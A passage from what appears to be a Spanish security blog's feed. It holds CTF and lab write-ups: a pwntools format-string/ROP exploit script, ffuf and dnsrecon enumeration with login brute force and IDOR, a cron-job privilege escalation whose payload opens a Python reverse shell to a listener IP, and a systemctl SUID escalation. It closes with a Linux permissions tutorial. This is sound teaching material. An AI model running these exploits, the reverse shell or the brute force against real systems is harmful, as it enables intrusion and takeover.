# ld = ELF("./ld-2.27.so")

# Pass in pattern_size, get back EIP/RIP offset

io = start()

fs_canario_pie = b'%13$p %11$p'

io.sendlineafter(b'streak?', fs_canario_pie)
io.recvuntil(b'current streak: ')

leak = io.recvuntil(b'\n').strip(b'\n').split()
canario = int(leak[0], 16)
pie = int(leak[1], 16)
offset_get_streak = 324
offset_rip = 24
ret_gadget = 0x00000000000006fe
elf.address = pie - 0x780

log.success("=============================")
log.success(f"canario @ 0x{canario:x}")
log.success(f"pie     @ 0x{pie:x}")
log.success(f"elf     @ 0x{elf.address:x}")
log.success("=============================")

payload = flat(
	[
		b'A'*offset_rip,
		canario,
		b'B'*8,
		elf.address + ret_gadget,
		elf.symbols.get_streak
	]
)

io.sendlineafter(b'you', payload)
write("payload",payload)

io.interactive()

Es importante mencionar que tenemos que hacer un bypass del movaps. Es por ello por lo que he introducido un return gadget. Nuevamente, para calcular correctamente su dirección hay que conocer la base del binario.

Ejecución en local:

Podemos ver que obtenemos una shell.

Ejecución en remoto:

Con esto terminamos el challenge 7 de la room pwn101 de TryHackMe. Espero que os haya gustado y, lo más importante, que hayáis aprendido.

Que la Fuerza os acompañe

DiegoAltF4

]]>Diego PalaciosWriteup VulnLawyers ctfchallenge2022-01-22T23:21:40+00:002022-01-22T23:21:40+00:00https://diegoaltf4.com/writeup-vulnlawyers-ctfchallengeEn el artículo de hoy, vamos a ver el reto VulnLawyers.

Se nos proporciona la siguiente dirección y tenemos que encontrar 6 flags.

Lo primero de todo es inspeccionar la web:

Lo único que vemos es una imagen y un par de frases. No hay ningún botón, ningún formulario…

Podemos inspeccionar el código fuente de la web:

Y tampoco hay ninguna pista, no vemos ni comentarios ni nada.

Por tanto, podemos intentar encontrardirectorios potenciales en la web. Para ello vamos a usar la herramienta ffuf.

Lógicamente, tenemos que emplear un diccionario para ir comprobando cada una de las rutas que aparecen en él. En este caso, vamos a utilizar el content.txt. Además, tenemos que indicar el tiempo de espera por cada petición (según las normas del reto debe ser de 0.1 segundos),  los hilos (según las normas del reto debe ser de 1 hilo) y la cookie ctfchallenge que nos proporciona el reto. Estos parámetros son obligatorios.

Si intentamos acceder a una ruta que no existe, por ejemplo:

http://www.vulnlawyers.co.uk/diegoaltf4

podemos ver que nos devuelve el mensaje “page not found!”:

VulnLawyers3

Si miramos el código de estado de la petición podemos ver que es 404 (recurso no encontrado):

Por lo que podemos filtrar o por el mensaje “page not found!”, o por el código de estado, eliminando todos los resultados que contengan un código 404.

Finalmente, podemos tener las siguientes opciones:

  • Filtrando por “page not found!”:

eumeracion1.sh

ffuf -w ./wordlists/content.txt  -t 1 -p 0.1 -H "Cookie: ctfchallenge=VALOR" -u http://www.vulnlawyers.co.uk/FUZZ -fr 'page not found!'
  • Filtrando por el código de estado:

enumeracion2.sh

ffuf -w ./wordlists/content.txt  -t 1 -p 0.1 -H "Cookie: ctfchallenge=VALOR" -u http://www.vulnlawyers.co.uk/FUZZ -fc 404

La salida que obtenemos es:

Por tanto, hemos encontrado 5 posibles rutas. Vamos a empezar a investigar:

Si miramos en /denied encontramos lo siguiente:

Si entramos a /login vemos que hace una redirección, ya que tiene un código de estado 302. Esta información ya la teníamos de nuestro escaneo con ffuf:

Primera flag

Solución 1

Para encontrar la primera flag podemos sencillamente analizar la petición que se hace a /login y en la respuesta podemos ver la flag y un mensaje “Access to this portal can now be found here”

Solución 2

Como vemos que hace una redirección, podemos analizar la petición con burp y tratar de modificar el código de estado 302 por un 200. Esta técnica se conoce como Bypass 302.

Lo primero que tenemos que hacer es ir a burpsuite y seleccionar la opción de “capturar respuestas” para ello iremos a Proxy-Options-Intercept Server Reponses y marcaremos la casilla “Intercept responses based on the following rules”:

Intentamos acceder al endpoint /login:

Le damos a forward y es aquí cuando veremos la respuesta:

Modificamos el 302 por un 200:

Le damos a forward y si miramos en nuestro navegador, veremos el contenido de /login:

¡¡Ya tenemos la primera flag!!

Si intentamos acceder a /lawyers-only podemos ver que hace una redirección a /lawyers-only-login

Esto podemos verlo con burp de la siguiente forma:

Capturamos la petición a /lawyers-only:

Y capturamos la respuesta, como se puede observar tenemos un código de estado 302 (redirección) y si miramos el campo “location” podemos ver que redirige a /lawyers-only-login:

Lo podemos comprobar continuando con la ejecución de peticiones. Se envía un get a /lawyers-only-login:

Y obtenemos una respuesta con código de estado 200:

La página que se nos muestra contiene un panel de login:

Tras intentar varios ataques de fuerza bruta sobre el usuario y contraseña sin éxito, decidí buscar posibles subdominios:

Segunda flag

Para enumerar subdominios mediante fuerza bruta, recomiendo usar una herramienta llamada “dnsrecon”. Su funcionamiento es bastante sencillo:

  • con el parámetro -d le indicamos el dominio que queremos enumerar
  • con el parámetro -D le indicamos elwordlist que vamos a utilizar
  • con el parámetro -t le indicamos el tipo de enumeración que queremos efectuar. En este caso, bruteforce (brt)

para más información sobre el uso de dnsrecon recomiendo visitar el manual:

dnsrecon1.sh

dnsrecon -d vulnlawyers.co.uk -D /home/diego/Hacking/CTFs/CTFchallenge/wordlists/subdomains.txt -t brt
[*] Performing host and subdomain brute force against vulnlawyers.co.uk
[*] 	 A data.vulnlawyers.co.uk 68.183.255.206
[*] 	 A www.vulnlawyers.co.uk 68.183.255.206
[+] 2 Records Found

Podemos ver que hemos encontrado un subdominio interesante “data.vulnlawyers.co.uk”. Vamos a ver qué tiene:

curl1.sh

curl -H "Cookie: ctfchallenge=VALOR" http://data.vulnlawyers.co.uk
{"name":"VulnLawyers Website API","version":"2.1.04","flag":"[^FLAG^E78DEBBFDFBEAFF1336B599B0724A530^FLAG^]"}

Tercera flag

Ahora que hemos encontrado un nuevo subdominio, podemos empezar a enumerar directorios potenciales:

enumeracion3.sh

diego@ubuntu:~/Hacking/CTFs/CTFchallenge$ ffuf -w ./wordlists/content.txt -t 1 -p 0.1 -H "Cookie: ctfchallenge=VALOR" -u http://data.vulnlawyers.co.uk/FUZZ -fc 404

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://data.vulnlawyers.co.uk/FUZZ
 :: Wordlist         : FUZZ: ./wordlists/content.txt
 :: Header           : Cookie: ctfchallenge=VALOR
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 4
 :: Delay            : 0.10 seconds
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response status: 404
________________________________________________

users                   [Status: 200, Size: 406, Words: 6, Lines: 1, Duration: 1128ms]
:: Progress: [4687/4687] :: Job [1/1] :: 3 req/sec :: Duration: [0:23:32] :: Errors: 0 ::

Encontramos una ruta potencial (users), vamos a echarle un ojo:

Al final del json podemos ver la tercera flag.

Cuarta flag

Si analizamos el contenido del json podemos ver que hay una lista de nombres y de correos, ¡qué curioso!

¿En qué sitio habíamos visto un panel de login?

Efectivamente, anteriormente habíamos encontrado un panel de login, pero no habíamos conseguido acceder a él. Con esta nueva información podemos intentar un ataque de fuerza bruta:

Lo primero va a ser guardar los emails que hemos encontrado en un archivo. Seguidamente, tenemos que ver qué información se envía cuando intentamos acceder:

Podemos ver que hay un campo “email” y un campo “password”. Con toda esta información, podemos empezar con nuestro ataque de fuerza bruta:

enumeracion4.sh

while read line; do ffuf -w ./wordlists/passwords.txt -X POST -d "email=$line&password=FUZZ" -t 1 -p 0.1 -H "Cookie: ctfchallenge=VALOR" -H "Content-Type: application/x-www-form-urlencoded" -u http://www.vulnlawyers.co.uk/lawyers-only-login/ -fr 'Invalid'; done < emails.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://www.vulnlawyers.co.uk/lawyers-only-login/
 :: Wordlist         : FUZZ: ./wordlists/passwords.txt
 :: Header           : Cookie: ctfchallenge=VALOR
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : email=jaskaran.lowe@vulnlawyers.co.uk&password=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 4
 :: Delay            : 0.10 seconds
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Regexp: Invalid
________________________________________________

summer                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1044ms]
:: Progress: [101/101] :: Job [1/1] :: 3 req/sec :: Duration: [0:00:29] :: Errors: 0 ::

¡Bingo! Hemos conseguido unas credenciales válidas

jaskaran.lowe@vulnlawyers.co.uk:summer

Vamos a intentar acceder:

Hemos conseguido acceder y ya tenemos la cuarta flag.

Quinta flag

Si nos fijamos en la captura de arriba, podemos ver que se indica que solo el case manager (Shayne Cairns) puede hacer cambios en el caso.

Además, hay un botón “Profile” que nos lleva a “/lawyers-only-profile”, pero si intentamos actualizar el perfil nos salta el siguiente mensaje de error: “Updates are currently disabled”

Vamos a mirar el código fuente:

Podemos ver un endpoit bastante curioso: /lawyers-only-profile-details/4

Vamos a ver qué información esconde:

Tal y como se puede ver, podemos ver la contraseña del usuario y hay un ID. Esto tiene pinta de IDOR (Insecure direct object reference).

Si ponemos ID 5 obtenemos la información de Marsha Blankenship:

Y si ponemos ID 2 encontramos la información de Shayne Cairns(la manager):

¡Ya tenemos la quinta flag!

Sexta flag

Vamos a acceder con las credenciales que hemos conseguido.

Vemos que sale un botón “Delete Case”, vamos a darle:

Sorprendentemente, conseguimos la sexta flag. No es necesario hacer nada más.

Con esto terminamos el reto. Espero que os haya gustado y, lo más importante, que hayáis aprendido.

Que la Fuerza os acompañe

DiegoAltF4

]]>Diego PalaciosExplotación tareas Cron | Linux PrivEsc 022021-07-31T11:36:13+00:002021-07-31T11:36:13+00:00https://diegoaltf4.com/privesc-02Hola a todos y bienvenidos a un nuevo artículo. Hoy vamos a continuar con la serie de artículos sobre escalada de privilegios en Linux, en concreto, trataremos la explotación de tareas Cron.

Lo primero de todo, vamos a entender qué es una tarea Cron y cómo podemos crearlas.

Las tareas Cron se utilizan para programar tareas que se van a ejecutar aintervalos regulares de tiempo, es decir, en fechas y horas específicas. Habitualmente, se utilizan para programar copias de seguridad, borrados de archivos, envío de logs, etc.

Las tareas Cron tienen una sintaxis específica que nos va a permitir indicar qué tipo de tarea queremos ejecutar, cada cuanto tiempo ha de ejecutarse, qué usuario va a ejecutar la tarea, etc.

Creación tarea Cron

Vamos a desarrollar un pequeño script en Python3 que nos permita hacer una copia de un fichero que tengamos en una carpeta y lo guarde en otra llamada “Backup”.

#!/usr/bin/python3
import sys
import time
import subprocess
from pwn import *
if __name__ == "__main__":
    log.progress("Comenzando con la copia")
    result = subprocess.run(["cp", "/home/diego/articulosBlog/explotacionTareasCron/privado/documentos.txt", "/home/diego/articulosBlog/explotacionTareasCron/backup"], capture_output=True, text=True)
    if (result.returncode == 0):
        log.info("Copia completada")
        sleep(1)
    else:
        log.info("Ha ocurrido un error")

Para poder explotar las tareas Cron es necesario que los permisos (del script que se va a ejecutar) estén mal configurados. Por tanto, asignaremos permisos de escritura a “otros” (chmod o+w).

Una vez tengamos el script y los permisos configurados, estamos listos para configurar la tarea Cron. Para ello, tenemos que editar el fichero

/etc/crontab

Siguiendo la sintaxis de las tareas Cron previamente explicada, podemos programar una tarea en la que, el usuario root ejecute el script, anteriormente desarrollado, cada minuto. Para ello, añadimos la siguiente línea:

 * * * * * root python3 /home/diego/articulosBlog/explotacionTareasCron/script.py

Si nos fijamos, el script copia el contenido del fichero “documentos.txt” que está en la ruta:

/home/diego/articulosBlog/explotacionTareasCron/script.py

a la ruta:

/home/diego/articulosBlog/explotacionTareasCron/backup/documentos.txt

Esta acción tan simple se va a ejecutar cada minuto por parte del usuario root, pero para ello es necesario arrancar el demonio de Cron.

sudo service cron start

Y podemos comprobar el estado del demonio mediante el comando:

sudo service cron status

Finalmente, ya tendríamos la tarea Cron configurada.

Detección de tareas Cron

La búsqueda de tareas Cron es un paso muy habitual a la hora de enumerar posibles vías para escalar privilegios. Podríamos desarrollar un  pequeño script que nos las detecte (de una manera muy básica) o usar alguno desarrollado con importantes mejoras. Yo os voy a enseñar cómo usar pspy.

Pspy es una herramienta muy interesante que nos va a permitir ver las tareas Cron que se ejecutan en el sistema, al igual, que el usuario que las ejecuta. Está programado en Go y para poder usarlo podemos compilarlo nosotros o descargar la versión compilada

El uso es muy sencillo, le damos permisos de ejecución y lo lanzamos (./pspy64). Empezaremos a ver tareas que se ejecutan a intervalos regulares de tiempo, entre ellas, tiene que estar la que acabamos de crear:

2021/07/23 20:51:01 CMD: UID=0 PID=158638 | python3 /home/diego/articulosBlog/explotacionTareasCron/script.py

Como vemos el UID es 0 lo que indica que lo está ejecutando root y vemos la ruta del script.

Explotación tareas Cron

Ahora, un posible atacante con privilegios de usuario comprobaría los permisos de ese script, que se ejecutará como root, y como “otros” tienen permiso de escritura, podría modificarlo.

Por ejemplo, podría aprovechar esta vulnerabilidad para obtener una reverse shell, obteniendo acceso con privilegios elevados.

Modificamos el contenido del script por el siguiente:

#!/bin/python3
import sys
import time
import subprocess
from pwn import *

if __name__ == "__main__":
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.139",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])

Nos ponemos en escucha por el puerto 1234. Cuando se ejecute el script obtendremos acceso como el usuario root ¡Escalada de privilegios conseguida!

Espero que hayáis aprendido y os haya gustado Que la Fuerza os acompañe

DiegoAltF4

]]>Diego PalaciosExplotación Permisos SUID | Linux PrivEsc 012021-07-20T18:28:23+00:002021-07-20T18:28:23+00:00https://diegoaltf4.com/privesc01Tras haber visto el funcionamiento de los permisos en linux, he de comentaros que también existen un grupo de permisos un poco especiales como son los permisos SUID. En el artículo de hoy, trataremos la explotación de permisos SUID.

Los permisos SUID: cuando en un binario o fichero el bit SUID está activado significa que la persona que lo ejecute va a tener los mismos permisos que la persona que lo creó. Es decir, si lo creó root tendremos permisos root.

Para asignar un permiso SUID a un archivo o binario se utiliza el comando chmod añadiéndole un 4 al principio de los permisos que deseamos.

Por ejemplo, si miramos la ruta absoluta del binario systemctl /usr/bin/systemctl y miramos los permisos de ese binario:

rwxr-xr-x 1 root root 1058096 abr 12 20:21 /usr/bin/systemctl

Podemos ver que tiene el permiso “755″ pues si le añadimos un 4, es decir, 4755 estaríamos activando los permisos SUID en ese binario.

Y si ahora volvemos a mirar los permisos:

rwsr-xr-x 1 root root 1058096 abr 12 20:21 /usr/bin/systemctl

Vemos que se ha activado un nuevo indicador una “s”.

Podríamos buscar en el sistema todos los binarios o archivos que tienen permisos SUID mediante el siguiente comando:

┌──(diegoaltf4㉿voldemort)-[~]
└─$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/bin/systemctl
/usr/bin/sudo
/usr/bin/su

Como vemos, el binario recientemente modificado (systemctl) se encuentra en la lista.

Este tipo de permisos, en ocasiones, pueden ser explotados para escalar privilegios. Por ejemplo, en este caso, podemos escalar privilegios y llegar a ser root.

Si buscamos en la página GTFObins podemos ver que para el binario systemctl hay una posible explotación de permisos SUID (https://gtfobins.github.io/gtfobins/systemctl/)

En nuestro caso, vamos a modificar los permisos del binario /bin/bash para poder ejecutar una instancia de la misma como root. El script modificado sería:

#!/bin/bash
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF

Ejecutamos el script:

┌──(diegoaltf4㉿voldemort)-[~/BLOG]
└─$ ./script
Created symlink /etc/systemd/system/tmp.qRdofPv7gk.service → /tmp/tmp.qRdofPv7gk.service.
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.qRdofPv7gk.service → /tmp/tmp.qRdofPv7gk.service.

Si miramos los permisos del binario bash podemos ver cómo han sido modificados:

┌──(diegoaltf4㉿voldemort)-[~/BLOG/]
└─$ which bash | xargs ls -la
-rwsr-sr-x 1 root root 1234376 feb 24 21:53 /usr/bin/bash

Por lo que ahora, podríamos ejecutar una bash con máximos privilegios:

┌──(diegoaltf4㉿voldemort)-[~/BLOG/]
└─$ bash -p
bash-5.1# whoami
root
bash-5.1# id
uid=1000(diegoaltf4) gid=1000(diegoaltf4) euid=0(root) egid=0(root) grupos=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),121(wireshark),135(scanner),146(kaboxer),1000(diegoaltf4)
bash-5.1#

Espero que hayáis aprendido y os haya gustado Que la Fuerza os acompañe

DiegoAltF4

]]>Diego PalaciosLectura, interpretación y gestión de permisos en Linux2021-06-26T15:01:51+00:002021-06-26T15:01:51+00:00https://diegoaltf4.com/lectura-interpretacion-y-gestion-de-permisosHola a todos y bienvenidos a un nuevo artículo. En esta ocasión vamos a estar viendo un tema muy importante. La lectura, interpretación y gestión de permisos.

La lectura, interpretación y gestión de permisos es una de las partes más importantes para cualquier usuario de Linux.  El conocimiento de los mismos nos va a permitir entender mejor el funcionamiento del árbol de directorios de GNU/Linux,  la gestión de usuarios, etc.

Vamos a comenzar viendo la creación de nuevos usuarios:

Creación de un nuevo usuario:

Para poder crear usuarios, necesitaremos usar el comando

useradd

Con -d se le indica el directorio personal, y con -s se le indica que, en cuanto a shell, quiero que tenga una bin bash.

useradd -d /home/usuarioNuevo -s /bin/bash nuevoUsuario

Para comprobar que se ha creado correctamente podemos mirar las características del usuario en el archivo passwd. En este archivo están registradas las cuentas de usuarios, las claves de acceso y los privilegios.

usuario:+M+/WYGuZYhApg/UWuBm8rmobFpimoAv:1001:1001::/home/usuario : /bin/bash

usuario: nombre del usuario

+M+/WYGuZYhApg/UWuBm8rmobFpimoAv: contraseña de acceso

1001: UID del usuario

1001: GID del grupo principal al que pertenece el usuario

/home/usuario: Directorio de trabajo

/bin/bash: Shell del usuario

cat /etc/passwd |grep "sh$"

(el $indica que termine por esa palabra, en este caso todo lo que termina por SH).

La salida es:

nuevoUsuario:x:1001:1001::/home/usuarioNuevo:/bin/bash

Siguiendo el esquema anterior podemos ver que la salida concuerda con todos los parámetros que habíamos especificado. El directorio personal, el tipo de shell…

Si ahora quisiéramos asignarle una contraseña al usuario:

passwd nuevoUsuario

En nuestro caso vamos a usar 1234

Para indicar que el directorio “usuarioNuevo” tenga como owneral usuario nuevoUsuario y como grupo a nuevoUsuario usamos el comando:

chown nuevoUsuario:nuevoUsuario usuarioNuevo

Y podemos comprobarlo con

ls -la

drwxr-xr-x 2 nuevoUsuario nuevoUsuario 4096 jun 16 13:09 usuarioNuevo

Si ahora queremos migrar al usuario, hacemos sue indicamos la contraseña.

Para ver los grupos a los que pertenece el nuevoUsuario usamos el comando id

La salida es:

uid=1001(nuevoUsuario) gid=1001(nuevoUsuario) grupos=1001(nuevoUsuario)

Como podemos ver el nuevoUsuario no está dentro de ningún grupo privilegiado.Al no estar dentro del grupo sudoersno tiene privilegios para ser ROOT por lo que si hacemos:

sudo su

y ponemos la contraseña. .

nuevoUsuario is not in the sudoers file. This incident will be reported.

Lectura permisos

Para leer los permisos que tiene un directorio o archivo primero tenemos que listarlo, por ejemplo, usando el comando:

ls -la

y la salida será algo así:

drwxr-xr-x 2 nuevoUsuario nuevoUsuario 4096 jun 16 13:51 usuarioNuevo

La dindica que es un directorio.

r = read

w = write

x = si es para un directorio indica que se puede acceder al directorio y si es un fichero indica que se puede ejecutar

Para poder leer los permisos hay dividirlo en bloques de tres.

El primer bloque hace referencia al propietario. En este caso podemos ver como el propietario tiene capacidad de lectura (r), de alterar y decrear archivos (w) y también puede atravesar el directorio (x).

Con el segundo bloque ocurre lo mismo, pero hace referencia al grupo. Como tiene (r-x) significa que los usuarios del grupo tienen capacidad de lectura(r), no tienen capacidad de alterar y crear archivos (-) y sí pueden atravesar el directorio (x).

El tercer y último bloque hace referencia a “otros“. Cualquier otro usuario a nivel de sistema a excepción de root. La lectura de permisos es la misma que para los grupos.

Si, por ejemplo, yo fuese el usuario DiegoAltF4 (no propietario), podría hacer un ls de lo que hay en el directorio, es decir, podría leer los archivos y también podría acceder al directorio (cd), pero no podría crear contenido en la carpeta (no tiene permiso w).

Vamos a poner un ejemplo para que quede más claro.

Iniciamos sesión como nuevoUsario y en el directorio home creamos una carpeta:

mkdir carpeta

Si miramos los permisos de la carpeta veremos que son:

drwxr-xr-x 2 nuevoUsuario nuevoUsuario 4096 jun 16 14:05 carpeta

Como el último bloque es un

r-x

significa que “otros” solo podrán leer y entrar al directorio, pero no podrán crear ningún archivo.

Vamos a comprobarlo.

Accedemos a la ruta:

/home/usuarioNuevo/carpeta

e intentamos hacer un:

touch nuevoArchivo

Nos sale el siguiente mensaje:“touch: no se puede efectuar `touch’ sobre ‘nuevoArchivo’: Permiso denegado” y, efectivamente, se cumple lo que habíamos visto al principio

Si quisiéramos modificar estos permisos podríamos acceder como roothaciendo un:

sudo su

desde el usuario DiegoAltF4,que sí que se encuentra dentro del grupo sudoers.Con el comandochmodpodemos modificar los permisos. Ejemplo: si queremos añadir el permiso de escritura para otros, podemos hacer:

chmod o+w carpeta

y con:

ls -la

vemos como ahora tienen

drwxr-xrwx 2 nuevoUsuario nuevoUsuario 4096 jun 16 14:05 carpeta

Para quitar los permisos es igual, cambiando el + por un –

chmod o-w carpeta

Vamos a poner otro ejemplo:

Vamos a acceder a la carpeta:

cd carpeta

Creamos un archivo de texto y escribimos algo:

nano archivo

si hacemos un:

ls -la

podemos ver los permisos que tiene ese nuevo archivo:

-rw-r--r-- 1 nuevoUsuario nuevoUsuario 62 jun 16 14:05 archivo

Vemos que para “otros” solo está permitida la lectura por lo que si nos registramos como DiegoAltF4 y accedemos a la ruta:

/home/usuarioNuevo/carpeta

solo podremos leer el archivo, no podremos cambiarlo

┌──(diegoaltf4㉿voldemort)-[/home/usuarioNuevo/carpeta]
└─$ cat archivo
HOLA QUE TAL, SI LEES ESTO ES QUE TIENES PERMISOS DE LECTURA

pero si intentamos modificarlo, por ejemplo, con nano, nos advierte de que es solo de lectura.

[ El fichero «archivo» no es de escritura ]

Asignación de permisos de forma decimal

La asignación de permisos también puede hacerse de forma decimal. Es decir, hay una conversión de las letras que hemos estado viendo hasta ahora, a decimal.

Si, por ejemplo, un archivo tiene los siguientes permisos

rwx r-- r-x

Para hacer la conversión, donde tenemos un – equivale un 0.En caso contrario, si tenemos un carácter es un 1.

En el ejemplo anterior el resultado sería:

111 100 101

y ahora solo falta pasarlo a decimal:

7 4 5

para comprobarlo hacemos:

chmod 745 archivo

y vemos los permisos con:

ls -la

drwxr--r-x 2 nuevoUsuario nuevoUsuario 4096 jun 16 14:05 carpeta

El resultado es exactamente el que habíamos calculado:

Por tanto, podemos modificar los permisos en Linux de las dos maneras.

Espero que hayáis entendido el artículo. Que la lectura, interpretación y gestión de permisos en Linux no sea un problema para vosotros y, sobre todo, que os haya gustado.

Que la Fuerza os acompañe

DiegoAltF4

]]>Diego Palacios